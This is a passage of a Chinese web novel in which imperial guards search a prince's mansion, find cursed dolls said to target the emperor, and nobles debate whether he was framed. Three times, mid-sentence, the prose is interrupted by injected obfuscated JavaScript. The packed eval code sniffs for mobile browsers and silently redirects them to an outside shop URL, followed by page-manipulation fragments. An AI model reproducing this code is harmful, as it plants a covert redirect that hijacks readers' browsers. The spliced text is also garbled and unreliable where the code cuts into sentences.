“姑姑要发誓!” 沈磐挑眉,无奈道:“好好好,姑姑不告诉别人,不然就叫姑姑一辈子嫁不出去,不能称心如意。” 像一只泄气的口袋,沈仪明一下子为难起来:“啊?这个誓言也太过了吧……” 反正她都要嫁霍开武了。 沈磐无所谓,赶忙问:“快说吧,姑姑不会告诉别人的。” 似被沈磐的真诚打动,沈仪明一点也不想藏掖,可他一开口就是:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887832|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑姑,我也怕。” “怕什么?”沈磐捋捋他毛茸茸的碎发,“没什么好怕的,告诉姑姑,姑姑给你想办法。你不是说姑姑是神算子吗,姑姑有什么不知道的呢?所有的事情都是知道得太少而想得太多,这才产生了恐惧……” “姑姑,仪明做了错事,仪明不该在没有得到别人允许时贸然偷听别人说话。” “仪明听见什么了?” 他皱着脸,“仪明听见他们在吵架,有一个看上去很慈祥、可声音特别难听的老叔叔在骂他们,说他们骗了自己,他现在走投无路,他们要给一个说法。” 沈磐坐直,问:“他们是谁呢?” “仪明没见过,也听不出他们是谁,但有个人叫另一个人‘四爷’,那个‘四爷’对那个老叔叔说,他们没有骗他,他们是合作,是老叔叔想卖他‘大哥’一个人情,‘结果不小心人死了,算谁的过错?’” 沈磐背上一凉,“仪明,他们还说什么了?” 沈仪明打了个哆嗦,继续模仿:“那个老叔叔说,‘他不能对不起陛下’,他们说他们没有要他对不起陛下,只是‘现在人死了,被有心人传扬出去’,老叔叔再忠心不二也会被说成是‘忘恩负义的叛徒’。” 陛下。 对不起陛下? 沈磐自己也没尝出自己口吻里的焦急有多么让人惶恐,“仪明,你在什么地方听见的?他们发现你了吗?” 沈仪明小脸惨白,“姑姑,仪明闯祸了对吗?” 沈磐稳住声音,给他抹眼泪,“没有,多大的事情,仪明不要慌,告诉姑姑,他们发现你了吗?那是什么时候?在什么地方。” 沈仪明靠在她掌心里哭,“在畅春园,那天……那天探望过堂叔,爹爹带我去给陛下拜年,我和哥哥一起去畅春园里玩……哥哥……哥哥去找朋友聊天,我一个人在梅树间跑……他们……他们应该看见我了……我拼命地跑啊……他们终于没有追上来,然后我总算找到了爹爹……” 沈磐四肢冰凉。 能在畅春园里密谋的都是有头有脸的人物! 这些人要杀的也定是另一群有头有脸的人物! 且已经有人死了! 沈磐的眼神一瞬飘忽,重新又落在沈仪明的脸上。 他密切关注着自己的表情,似是能从自己脸上的破绽里读出自己闯下的塌天大祸会给家人带来多么可怕的灾难。 沈磐一把将他按入怀里,“没事的仪明,没事的。你爹爹他怎么说了?是不是也说没事的……” 沈仪明大哭起来。 元良也是这么安慰他的。 可仪明是个多有灵性的孩子,他如何看不懂、听不到、尝不出父亲眼中、声音中、呼吸中的恐惧。 所以元良连在京足月过年都等不了,这么着急要带他们走,是为了避祸吗? 他已经知道这些人的底细了吗? 他怎么不和陛下说?升平末年宫变,是辅国长公主保下的不满十岁的元良小郡王,陛下这么敬爱他的姐姐,如何不会在枝节横生、变故接连的今天重新保下郡王府上下满门? 元良在怕什么? 沈磐倒吸一口凉气。 可她又在怕什么? ** 今天本该是个晴天,中午乌云却吞没了太阳。 又下起了雪。 张永一才简略梳理完武库司的现状,打算下午带了人亲自前去检点,正和同僚闲聊着司中现状、一起等着兵部伙堂开饭,忽然听见衙司门外一阵喧闹。 兵部两个门,一个正门朝东,面向东长安门,一个后门向西,走几步就是启明门。 这显然是西院后传来的。 张永一的心情被早上东直门的匆匆一见拨弄得沉浮不定,突又被漫天的大雪压得喘不过气,现下又被这宫禁里百年难得一遇的吵闹拔上了山巅。 这样太平的年景里出了这样的喧沸是要翻天。 他和好事的同僚都赶了过去。 隔壁的都察院里也蹿出了不少人观望。 对街的刑部门口被金甲长刀的锦麟卫堵得水泄不通。 同僚史可平惊掉眼珠,“那是锦麟卫指挥使魏俊秋!什么事情居然把他给招来了!” 正从刑部正门阔步而出的那个男人甲胄在身,周遭的气焰都如同他按下的绣春刀,眼神更冷得可怕。 他是一头恶狼。 可避开他的视线后,张永一却觉得他面白无须,绝无半点刻薄阴狠,更慈善得像后院养花逗鸟的老翁。 12. 第十二章 独丧人(二) “踢踢踏踏”,宫道上一人骑马而来,玄甲黑袍,也挂了一把银灿灿的宝剑在腰间。 这装束张永一认识,是阴阳卫。 他身后跟着两列阴阳卫急速而来,而他本人则扬出一面镶白边的令旗,朝台阶上为刑部众人拱卫着的魏俊秋挥去,“陛下令,阴阳卫从旁协查。” 说完,他跳下马将令旗卷起,双手递给了魏俊秋。 史可平指点道:“这是阴阳卫指挥使乔晏,他父亲是十年前致仕的乔尚书,就是射下万景楼花灯的那个乔致用。” 张永一微讶,重又看向在魏俊秋面前明显拿捏晚辈姿态的乔晏。 史可平低声再道:“他岳父叫韦不决——” 张永一再看过去。 “韦大将军只有两个女儿,大女儿韦瑛招赘,小女儿韦琼就许给了他。哦,边上那位是咱们的首辅大人——刑部尚书冉琢明。” 史可平趁着张永一认人的当口,摸着胡茬奇怪:“这到底是什么事儿啊,冉大人上午在刑部,下午在内阁,这魏指和乔指奉了帝命直接来刑部调人,看样子是绕过了内阁……” 冉琢明看起来特别生气。 魏俊秋不知和冉琢明说了什么,老头子更生气了,双臂一展堵在刑部门口,一幅魏俊秋胆敢踏足他就敢一头撞死当场的样子。 大理寺和都察院里也涌出大小不一的官来,刑部门口更闹腾了。 “公子!公子!” 张永一倏然转身,见义然着急:“公子,房侍郎来了,点名要见你。” 史可平戳戳张永一,“咱们这位左侍郎房桂稻就是外头那位乔指挥使的上门姐夫。” “多谢指点。” 史可平摆手,“你快去吧,宫道上不允行马,今日乔指公然破戒,看来是出了天大的事故,我要再观摩观摩。” ** 房桂稻斯文俊秀像个儒生,看见张永一时的眼神更温和得像家里墙上供奉的祖宗,任谁也不敢想这样一个对谁都笑眯眯春风化人的他,现下是尚书霍辄离开后说一不二、钢铁手腕的实权一把手。 止戈堂里除了他,还有一个大腹便便的男人,约莫五十多岁,豹子般的眼睛炯炯有神。 他们是截然相反的一人两面。 “拜见上官。” 房桂稻:“不必多礼,这位是嵇侍郎、嵇将军。” “下官拜见嵇将军。” 嵇阚放下茶碗点点头,“张络?张永一?” “是下官。” “抬头看看。” 嵇阚打量他,也不妨被他打量。他生得凶狠,土匪蛮子般的长相,自右眼内眦向耳后拉着一道长长的口子,陈年伤疤早已愈合,也几乎与他黢黑的肤色融为一体,可张永一一看见这疤痕,西风热血霎时滚烫,他叠在袖子里的手又不自主地攥紧。 嵇阚轻“哼”一声,像头衰豹喷着鼻息,没有什么意思,却让闻者心惊。 这一看就看了许久。 房桂稻刚要说话破这僵局,嵇阚就不冷不热地说道:“你上半张脸很像你父亲。” 张永一微微一愣,再听嵇阚道:“下午我和房侍郎要去武库巡检,你一道过来。” 看过房桂稻刻意露出的惊喜来,张永一知道这是雨过天晴过关了,连忙应下。 嵇阚起身,“西门外吵吵嚷嚷,不像话,我该去看看。” 房桂稻捏一个礼:“嵇将军且去,晚生还有些杂务急需处理,就不陪了。” 嵇阚临走再盯了张永一片刻。 等止戈堂里只剩下他们两个,房桂稻这才舒缓了语气,“他是南越将军,现回京述职评定,挂侍郎之职。今日是他点名要见见你。他本来是雍凉都督,你叔叔张养臣就曾是他的部下,你父亲去西南前也在他的麾下。” 想到张养臣和张永一的父亲张养元早已马革裹尸战死疆场,房桂稻微微叹息,搁下这些沉重的话题笑问:“用饭了吗?” “还不曾。” 房桂稻带他往止戈堂外走,“是因为东直门甬道上的热闹吗?” 张永一噎住。 “年轻人还是少看些热闹为好。”说完,房桂稻就一言不发只往伙堂走。 ** 自靖远门回城,日头已经偏西,西天烧红了一片流云。 元良要将新折的梅花送回郡王府,便央求沈磐指使车马绕去通化门附近,沈磐缠不过他,只能答应。于是乎,等他们的车架迫近元良郡王府,天台的浓墨便兑着凉水哗啦啦洒了下来。 可地上门前长街里,火把喧天,却是滚烫滚烫的一锅热油。 沈仪明扒着车窗震惊不已,沈磐却在看见死守着郡王府正门的侍卫穿着的是锦麟卫服色时,像是真担心沈仪明被炸着响铃的热油烫伤,二话不说就将他将抓回了车厢。 “姑姑,我家出什么事了?” 车架被锦麟卫拦在街巷之外,街口不乏不明就里的百姓指指点点,这些蚊子般的响动听得人心烦,沈磐捧住沈仪明又要探出去的脑袋,摸摸他已经红了的鼻子,“应该没什么事情,我去看看,你乖乖呆在这里,听到了?跑下车小心被拐子拐走,这就再也见不到你爹爹哥哥了。” 沈仪明点点头,却拉住沈磐的袖子,“姑姑,真的没事吗?” 沈磐镇定地笑:“能有什么事?姑姑马上就回来。” 怎么可能没事? 锦麟卫是什么人,这可是天子耳目,莫名其妙围了元良郡王府,必然是出了连陛下都惊动的大事。 沈磐的心早已因锦麟卫的出动惊慌了几分,等她走近王府前街,果不其然被锦麟卫无情拦下,她的脾气刚要发作,就见正门内站了一排阴阳卫,不由骇然得四肢冰凉。 长缨卫与锦麟卫交涉,沈磐在冷风中站了不过一会儿,正门内疾跑出一个小校,恭谨地延请长平公主登足。 元良郡王府的牌匾还是整齐的,可王府内的其他都被平地生起的妖风吹得上下调转、左右翻覆。花草折了腰,古树露了根,石灯碎了罩,帷幔竹帘空中恣意舞。各处都打着火烛,各处都暗不见天。 这只是屋外门内的咫尺地。 沈磐几乎不敢去想,郡王府的书房、卧房、琴房、客房、花房、伙房乃至马房,究竟会遭怎样的大罪。她也几乎想不到,元良那么爱文墨风雅的人,他珍惜的字画、古董、诗稿、书卷,家中女眷的上裳下裙、头簪鞋履,乃至沈仪明兄弟两个的稀奇宝贝,都会沦入怎样的地狱。 这是人间啊。 除了来往忙碌、翻捣着衣橱,甚至连小佛堂里的神龛都要洞开检阅的一群兵士,这里不像有活人的人间。 王府的男仆女婢全被驱赶到了堂屋前,乃至车马房的马夫,送货上门的外铺管家,全都被押在了冰冷的石板地上。粗略一数,不过三十来人,这便是偌大的元良郡王府里所有的人。 沈磐的身子凉了半截。 正堂洞开,里面烛火大烁、亮如白日,可风卷枯土、雪乱虚空,沈磐看不清里面,唯一能挺直腰背站着的三个人是男是女,姓甚名谁。 风嘶鬼哭,男悲女泣。 正堂内走出一个老人来,花白的胡须上棉絮似地飞满了雪点。 沈磐还隔着寻常宽阔此刻却逼仄不堪的露场站着,逐渐看清他在皎洁月色下疲劳略显的一张脸。 “冉……冉先生?” 冉琢明撑着门框,艰难地朝沈磐行礼。 堂内又走出两个人,一个是魏俊秋,一个是乔晏,各自按着刀剑,穿着袍服,戴着高冠,模样历历分明。他们各自抱拳,道着“长平公主安”。 沈磐微退半步,连“免礼”二字都忘得干净,拔足绕开跪满一地的人冲到了堂前,扶住面凝冰霜、心摇不已的冉琢明,“元辅,究竟出什么事了?” 冉琢明有些浑浊的眼睛闪了闪,又慢吞吞合起眼皮,轻轻将自己的手臂从沈磐手中挪开。魏俊秋一声不吭地站起,乔晏上前扶住冉琢明的胳膊,冉琢明没有拒绝。 沈磐记得,魏俊秋和冉琢明差不了几岁,可冉琢明已经衰朽得像个耄耋之年的老翁。 前几年他的夫人病逝,早先他的独女远嫁江南,他也只是伤心牵挂一阵,很快又振作起来回到内阁上值,岁末宫宴那天的他听说还能与襄阳侯郇翾相谈甚欢,此刻却疲乏劳累得跬步难迈。 乔晏在冉琢明和魏俊秋面前都是小辈,他正处在男儿一生中极好的时光里,他的父母又无私地施予他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887833|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一幅极好的皮囊,此刻他昂首挺胸地随便一站,站在冉琢明身边,那种岁月不居、逝者无情的痛惜更落在了实处,砸得沈磐两耳轰鸣。 冉琢明的眼里全是伤心。 沈磐顺着他调转的目光看去,上首松鹤延年的绢画下架着一张香案,案上摆了一把剑,刻有“除秽”二篆字,剑鞘乌黑锃亮,是被日日擦拭的结果,剑柄却暗沉无光,该是多少年不曾有人拔剑出鞘的缘故。 沈磐的目光在“除秽”二字上流连,不禁想起很多很多年前,她三哥还在的时候,又有一年隆冬,他们做贼似的偷摸着给沈斫过生辰。 三哥托元良王兄寻了把剑,上刻“驱尘”二字,沈斫喜欢得不行,夜夜抱着睡觉、日日不肯撒手。 三哥说,这是元良王兄的剑,当初铸成的是一对,取“驱尘除秽”之意,只可惜王兄偏好文墨,“除秽”之剑握在他的至交好友手中保家卫国,“驱尘”之剑却要被他这个呆子耽误埋没。 他可惜多年,现在送给沈斫刚刚好。 于是乎去年,东北与长桫交战,这把“驱尘”剑便断在了沈斫手里,刀剑无眼里无意救他一命。 沈磐的视线沉重如铁。 可冉琢明看的不是剑,是压在剑架边的三张朱砂符箓。 鬼画符。 沈磐好像明白了什么,猛地望向守在香案旁的魏俊秋。 正此时,后堂一阵脚步迭响,甲胄在身的锦麟卫并着左右一个阴阳卫、一个刑部吏一同气喘吁吁徐地冲了过来。盯睛一看,那阴阳卫捧着一块牌位,锦麟卫托着一坨扎针人偶,直直送到魏俊秋眼前。 乔晏和冉琢明齐齐屏住呼吸。 “指挥使,佛堂有所发现!” 魏俊秋眼光大亮,走上前粗粗扫过那一对人偶,随即示意锦麟卫将东西展示给乔晏和冉琢明看,自己则将阴阳卫捧着的那块牌位翻了过来。 亡妻李氏讳舒檀之灵位。 沈磐心一紧,目光诘责,就听刑部吏向冉琢明解释:“这对人偶就藏在郡王妃的牌位之下。” “死者为大,你们连牌位都不放过!”沈磐忍无可忍。 魏俊秋挥手命他们带着东西退下,刚要向沈磐随口解释几句,又听堂外来报:“库房有所发现!” 众人齐转身看向从外跑进来的人,依旧是锦麟卫、阴阳卫并着一个刑部吏的配置,那个锦麟卫率先跪下呈上一物,魏俊秋上手掀开外头包裹着的丝巾,就见里面还躺着一只上了年头的人偶,五脏六腑如旧扎满了细针,唯一与先前那对不同的是,被多扎了七窍把脉的人偶下还压着两根羽毛,一根鲜艳如血,一根靛蓝似夜。 魏俊秋眯眼,叫了灯烛,就着翕忽不定的火光仔细去读人偶上用朱砂涂写的生辰八字。 和先前那两只一样,这只人偶上的生辰八字很特殊,并非寻常的四柱八字样,而是直白地写着人偶本身的生辰年月日,而独独这只人偶上的生辰日月,让人看过五雷轰顶。 他轻声念出:“某年十月二十五。” 冉琢明不知哪里来的一股力气,冲上来拿起那只人偶仔细检查,等他盯着那模糊的年份看了好久,终于承认那里已经坨成一块什么也看不清时,他整个人如遭雷劈,懵了好久又有些惶恐颓然地后退不止。 乔晏连忙上前,在他撞上香案前用手扶住了他。 看过冉琢明的反应,沈磐的心彻底凉了。 这是厌胜之术! 可又不是寻常的厌胜!不用八字,却用生辰年月,还有咒符,还放飞禽之羽。 沈磐的心砰砰,直要跳出她的心腔来。 锦麟卫、阴阳卫和刑部三家共查查出的!连一家独断栽赃的后话都彻底断绝,总也不可能是三家合谋,元辅冉琢明为人正直,是绝对不会答应的。 更重要的是,这是在元良郡王府中发现的。 元良郡王府! 这是什么时候查出来的?为什么一点风声都没有就直接围了郡王府? 这怎么可能? “将证据收好。” 沈磐急眼:“什么证据!” 魏俊秋微一打量眼眶泛红的沈磐,欠身恭敬答:“元良郡王沈硎行巫蛊术咒害陛下的证据。” 13. 第十三章 独丧人(三) “怎么可能?” 魏俊秋再一欠身:“物证齐全。” “我父皇是十一月的诞辰!” 魏俊秋道:“一共三个人偶——” 他招来恭候一旁的锦麟卫,锦麟卫便呈上最先的一对人偶,“这只的生辰就是陛下的。” 沈磐一看,果然如此。但人偶上的“十年十一月二日”并未明指是天元十年还是升平十年抑或是永济十年。 但这又有什么要紧? 魏俊秋道:“具体事宜有待探查,还望公主殿下稍安勿躁——元辅,乔指挥使,您们看是不是可以回宫给陛下复命了?” 冉琢明心绪难平。 乔晏看看沈磐,再看看魏俊秋,命阴阳卫将压在剑架下的三张符箓揭了一并带上,“那便按魏指挥使所说,回宫。只是这些人——” 魏俊秋微笑看向冉琢明:“依例查封。既然陛下要内阁过问,元辅又签了票拟,这便要走法司途径,郡王府要查封,相干人等自然要由刑部羁押一一审问。元辅?” 冉琢明几不可察地点点头。 魏俊秋看向沈磐:“公主?” 沈磐深吸一口气,刚要在魏俊秋的示意下迈出正堂,就听正门处一阵孩童哭闹。她一愣,回过神来拔腿就跑了过去,果然见沈仪明被长缨卫拦着要冲进来,已经哭得泪流满面。 “仪明!你怎么跑下车了?” 身后赶来的魏俊秋眼神一暗。 “姑姑!姑姑!” 沈磐蹲身抱住沈仪明。 “他们说我父王行了巫蛊……是真的吗?” 沈磐一懵,这才想到留他一个人呆在车上,而周遭流言蜚语漫天,他一个人又那么害怕。 “是姑姑的错……” “姑姑!” “元良郡王携世子在紫薇宫拜祭圣人,陛下已经遣人去接了,既然小公子在,臣便奉命一并请入宫中……” “谁敢!”沈磐霍然起身,拉着沈仪明朝云淡风轻的魏俊秋暴吼。 魏俊秋神色不变,无视沈磐满脸怒容,只是朝沈仪明行了一礼,随即就有锦麟卫上前拉扯,被长缨卫迅速挡下。 剑拔弩张只在刹那间。 乔晏和阴阳卫只远观这行至悬崖的一幕,并不作声。 “公主,这是陛下的命令。” 沈磐攥着沈仪明,“父皇那里,本宫自会去说。” 见状,魏俊秋摇摇头居然笑了,淡淡道:“公主,这可是抗旨。” 沈磐挑眉一扫他按着绣春刀的手,“那圣旨呢?” 魏俊秋张手,即刻有锦麟卫副使林金将一张签着首辅冉琢明大名、盖着内阁大章的票拟送到他手上。他拎起来向沈磐和沈磐身边的长缨卫副使一一展示,“内阁票拟在此,刑部传票又由冉大人亲签,行如同圣意。” 沈磐扬眉,“票拟是票拟,圣旨是圣旨。” “票拟和圣旨都是陛下的意思!” “指挥使这是手把鸡毛当令箭。” “长平公主慎言!” “今日见不到圣旨,那你就是假传圣旨,这是重罪,本宫绝对不会将他交给你。”沈磐看向一边脸色奇差的锦麟卫副使林金,视线又划向站得更远的阴阳卫众人,最后落在了低着头辨不清神情的冉琢明身上,“魏指挥使去请旨吧。” 魏俊秋依然面不改色。 “又或者进宫,到察院御史面前分说。” 都察院的御史可没有冉琢明这么好揉搓。 魏俊秋终于磨牙。 突然,身后一直如同死了一般沉默不言的冉琢明大声喊一声:“臣!” 众人一齐转身看去。 他站在王府仆婢之间,像块笨重的墓碑。 “恭送长平公主!” 魏俊秋脸上的表情空白一瞬,那边的乔晏略一思忖,即刻带着阴阳也向沈磐拜了下来。 乌压压满院威势。 向沈磐匍匐。 ** 天已如墨染。 “永一!” 张永一在东长安门送过嵇阚,正与史可平谈着今天下午武库巡检中的细节,行至兵部正门,一抬头就听见张绰在喊。 他别过史可平,走向宫道上神色匆忙的张绰,“堂兄你怎么来了?” 张绰拉住他就往东长安门走,“长公主气得晕过去了,家里正在找你。” “怎么回事?谁惹祖母生气了?” 张绰不多说,等兄弟两个都坐上了马背,一前一后抵达了梁国公主府,张绰这才拉住慌忙要去正房看望梁国长公主的张永一,“元良郡王出事了。” 张永一眼前霎时闪过中午在刑部门前的一番对峙。 “宫里传出元良郡王行巫蛊术诅咒陛下的消息,内阁批了搜查的票拟,锦麟卫和阴阳卫的指挥使都去了郡王府,冉首辅也去了——” 见张绰脸上丧气,张永一便知道这次搜查必然搜出了不得了的东西。 他沉下心,“祖母怎么知道的?” “听我祖父说,长公主下午派了人去郡王府,打算在郡王回南边之前再聚一顿,这就撞见了二卫搜府,场面很凶。” 张永一心乱如麻,听完大致的情况,官袍也没有换,径直往里间走。 房外的老嬷嬷说,宋国长公主和张八郎都来了,正和醒了的梁国说话。 张永一站在外间,都能听见梁国喷播的愤怒:“怎么可能是元良?元良怎么可能会谋害陛下!” 那个语气无奈、温温柔柔的是宋国长公主,“是啊,元良是多好的孩子,多么聪慧多么善良,当年也是兖国姐姐救的他,陛下待他不薄,他也知恩图报,怎么可能做这些大逆不道的事情?” “一定是有人陷害他!” “可是姐姐,为什么呢?元良哪里碍着他们了他们要这么报复……” “天杀的那些奸邪小人!他们害人,还需要什么正当理由?”梁国将床褥捶得响亮,“宋国,我要进宫面见陛下,你可愿陪我去?” “妹妹自然是愿意的,只是到了陛下面前,我们能说些什么呢?” 梁国语气决绝:“说兖国!” 张永一听见一声长长的叹息。 梁国气急:“八郎,你去吩咐人套车,我即刻就要进宫!” 张八郎站在一旁劝道:“嫂嫂你别急,眼下皇城落钥,恐怕赶不上。” “我怎能不急?!元良也算是我看着长大的,他是什么脾性我最清楚不过。这日子过得好好的,突然闹了这么一出!若是兖国还在,那些小人怎敢去迫害元良?他们这是在离间天家骨肉!兖国在天之灵怎能安息!陛下心里难道不会愧疚吗!” 张八郎只得叹气。 “可是兖国姐姐已经不在了,陛下那里……恐怕说不动啊!” “是啊,此事已经由首辅冉大人批准,无论如何,陛下都要给内阁、乃至朝廷一个答复,断然不可能凭谁的求情就开天恩的,况且现在具体是个什么情况也不知道,他们在郡王府搜了什么东西,谁也不知道……” 梁国气得暴吼:“他们是贼喊捉贼!你们别拦我,我要入宫!” “姐姐!我们贸然求情,如果把陛下惹急了,元良就更不可能平安了。” “你们……你们都有自己的顾忌……你们别拦我!” “嫂嫂!” “姐姐!” 宋国长公主和张八郎俱是惊呼,张永一即刻冲进去,就见梁国又被气得昏了过去,枕在宋国长公主的肘弯,整个人苍白单薄像一只纸糊的娃娃。 “祖母!” 府中的大夫不会儿就到了,宋国长公主也被吓得不清,被请至客房暂歇。 张八郎将他拉到了外间,张绰就这么一会儿的功夫又出去了一趟,解开沾满了雪水的斗篷,头上的风帽也来不及摘,径直走了过来。 “堂兄!” “绰儿,外头怎么说?” 张绰将祖父扶到榻边坐下,“我去问了羽林卫中人,朱雀卫已经把元良郡王和世子从紫薇宫带回了后廷,就关在启新殿。” 说着,他不自主摇头叹气:“宫里风声特别紧,锦麟卫和阴阳卫半个字也不敢透露,刑部那里我已找人去通门路,现在还没有消息。不过我听说,傍晚抄家时,长平公主也在。” 张永一凝神。 张绰眼有希冀,“或可问问长缨卫。” 张八郎的脸色却越发沉重:“不要去问东宫。” 张永一和张绰俱是一脸不解,但瞬息他们又明白过来。 “这件事究竟是谁策划的,我们一概不知,郡王身上有什么值得图谋的,我们也一概不知,最怕就怕在,元良郡王只是一个幌子。” 最怕就怕在,他们意指东宫。 “但东宫绝不会坐视不管。” 张八郎拍拍张永一紧攥着桌角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892081|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手,“那是东宫的事。” 不是张家的事。 张永一心紧。 张绰宽慰道:“永一,刑部那里我们可以尽力,哪怕是内阁,我们也能试试,但是东宫——” “我知道。” 见张永一只体谅地点头,脸色不好更苍白憔悴,张八郎心里十分难受。 他思量片刻,还是开口:“络儿,明日去兵部点了卯,便随我出去一趟。” ** “堂兄来早了,夫君还没回来。” 张八郎牵着张永一向襄阳侯夫人张玫柔问礼。 “这是永一吧?在老宅见过一面。” “参见夫人。” 张玫柔保养得很好,几乎没什么明显的皱纹,笑起来温温柔柔,说起话更让人如沐春风,她伸手虚扶张八郎一把,“永一现在留了京,又进了兵部,长公主的心应当能定下来了。” 张八郎笑道:“是啊,接下来只需处理他的婚事,等他成了家,嫂嫂才能彻底安心啊。” 张玫柔笑得和煦,拉过张永一,迅速又打量几眼,心中赞赏之情更盛,引着他们往门内走,“今日晋国她们都不在,便只能让我这个嘴笨的陪你们聊会儿天等午饭了。” “是因为元良郡王的事情吗?” “是啊。”张玫柔忧心,“昨天二卫大张旗鼓地闹了一番,把郡王和仪臣世子都锁在了宫里,长平公主还为了小公子仪明和锦麟卫顶了几句,在宫里等着陛下发落,晋国听见了消息就入宫给她求情去了——” 听见沈磐,张永一不自主多凝了几分神专注要听,但张玫柔点到为止、不欲多说。 张八郎瞥了一眼暗自焦急的张永一,顺势问道:“长平公主怎么也掺和进来了?” “长平带着仪明去上林苑游玩,回宫的时候恰恰路过了王府,锦麟卫要拿人,长平不肯,这就吵上了。” 张八郎皱眉:“郡王府里真查出了什么东西?” 张玫柔沏茶,叹气道:“应当是有实证了,锦麟卫、阴阳卫还有刑部,三家并查——”她摇摇头,头上的那支芙蓉花簪轻轻摇荡,似也在吐诉众人的无可奈何:“恐怕没有转圜余地。” “郡王常年不在化隆,这郡王府——” 张玫柔将茶盏递到张八郎手边,“夫君也是这么说的,东西的的确确是在三家的眼皮子底下找出来的,冉大人在边上盯着,没法作假,但王府里空荡荡的,若说是有心人塞进去的,或许可以辩一辩。” 张玫柔说得在理,可张永一听着,总觉得话中哪里不对。 “那具体是什么东西,侯爷可有眉目?” 张玫柔给张永一也递去一盏,张永一轻声谢了。 “昨天三家一回宫,冉大人就被叫进了内廷,信笺都锁着,半分消息都漏不出来,外头要打听,得看今天冉大人怎么说。” 张永一心里那股子怪异冲到了顶峰。 张八郎点点头。 堂上一静,张永一心里却吵嚷起来。 他好像知道怪异之处竟在何处。“或许可以辩一辩”,“今天冉大人怎么说”,不对,统统不对,应该只是“可以辩一辩”,“冉大人怎么说”。案件的疑点便是为元良郡王辩驳的要点,而冉琢明更不能因为一夜的封宫锁禁而前后口径不一。 正此时,堂外传来一阵声响,张玫柔一个人笑着起身迎了出去,进来时便又多了两个人。 乍一看,襄阳侯父子二人便如照镜子般站在他们眼前。 张八郎向郇翾施礼:“郇侯爷。” 张永一行完礼,直起身看去时,郇翾和他的长子郇渰也正看来,只这一眼,张永一便瞧出这对父子的不同。郇翾斯文,斯文得有些文弱,幸好他上了年纪,蓄起了胡子,总算看起来有些威严;而郇渰不同,身上有读书人的温濡之气,但更多了一点说一不二的金石之意,不笑的时候,跟他的父亲站在一起,反倒比他的父亲还有簪缨氏族的威赫。 若他们父子两个是同样年纪,让旁人去猜谁父谁子,恐怕要闹出不少笑话。 郇翾盯着张永一看了半瞬,便对张八郎道:“正英,去书房细说。” 张八郎点头,却转身将张永一让到了自己身前,好让郇翾父子看得更清楚些,“他们都大了,多懂点事也无妨。” 犹疑一瞬,郇翾边打量着张永一边点头,“好,多听些也好。” 他的话里尽是哀沉。 14. 第十四章 独丧人(四) “今日可见到了冉大人?” “见到了。”郇翾叹气,“三司人都见到了。” 闻言,张永一和张八郎俱是一惊。 “三司?” 郇翾让儿子将火烛拨得再亮些,可烛火再亮,也破不了书房里这黯淡的天光。 他觉得很闷,“三司会审。” 张八郎皱眉,“这种案子,不该过三司吧?” “是啊,但是……还是从头说吧。”郇翾甩甩头,“陛下本要收拾东西去五柞宫,突然,这病情就眼中起来,太医院怎么看也看不好,而施太医恐有邪祟作乱,便让人搜了年关里陛下过手的物件,然后在元良郡王送来的锦盒夹层里发现了一张符纸。” “这位施太医是?” 郇翾道:“新来的一位,姓施名汜,听说极擅祝由术,近来很受陛下器重。” 张永一道:“昨日清晨入宫,我看见了他,听他说是给霍尚书府上公子看过方才进宫。” 张八郎和郇翾对视一眼,郇翾若有所思道:“如果是这样,那就说得通了。” “怎么了?” 张八郎的着急写在脸上。 张永一的着急烙满心里。 郇翾又叹:“三家从郡王府搜出三张符、三只人偶,一只上写了陛下的生辰,一只写了另一人的生辰,还有一只,夹了两根羽毛,用针扎断了人偶的血脉,身上写的便是某年十月二十五日。” 张永一倒吸一口凉气。 “这是何人生辰?” 郇翾看向张永一的眼神中的无奈叹息更重,“是陈王。” 说罢,书房内骤然陷入一阵死寂。 郇渰轻声道:“陈王近来的确身体抱恙。” 这全然就变成了一场诅咒陈王的发难,陛下这么宠爱陈王,随便一想就会猜是东宫不平因而报复。元良与东宫交好,又是宗室族亲,在朝廷里说话虽然没有分量,但在皇室内部乃至承天殿上都善缘广结。大楚皇室血脉凋零,秦王无后,雍王远支,这样一来元良郡王便是皇室中除了正统以外的唯一一支沈姓国亲,他支持东宫,陈王的践阼之路就不可能那么顺利。 郇翾闭上眼长叹一声,片刻他摇摇头,睁眼望向了自己那坐在黑暗里面容不清的长子,“但是——” 张八郎和张永一的心都被这声“但是”吊到了百尺危崖边,张八郎问:“但是什么?” “但是这个日子也可以是辅国长公主的生辰。” 郇渰也回望父亲,见他张张嘴,却有口难言,咽下了似有万年山巅之雪般难以化解的孤苦。 一种生死难解的孤独。 郇翾继续道:“应该就是长公主的生辰。” 张八郎长叹:“何以牵连至此啊?” 郇渰黑沉沉的眸子也静静盯着父亲。 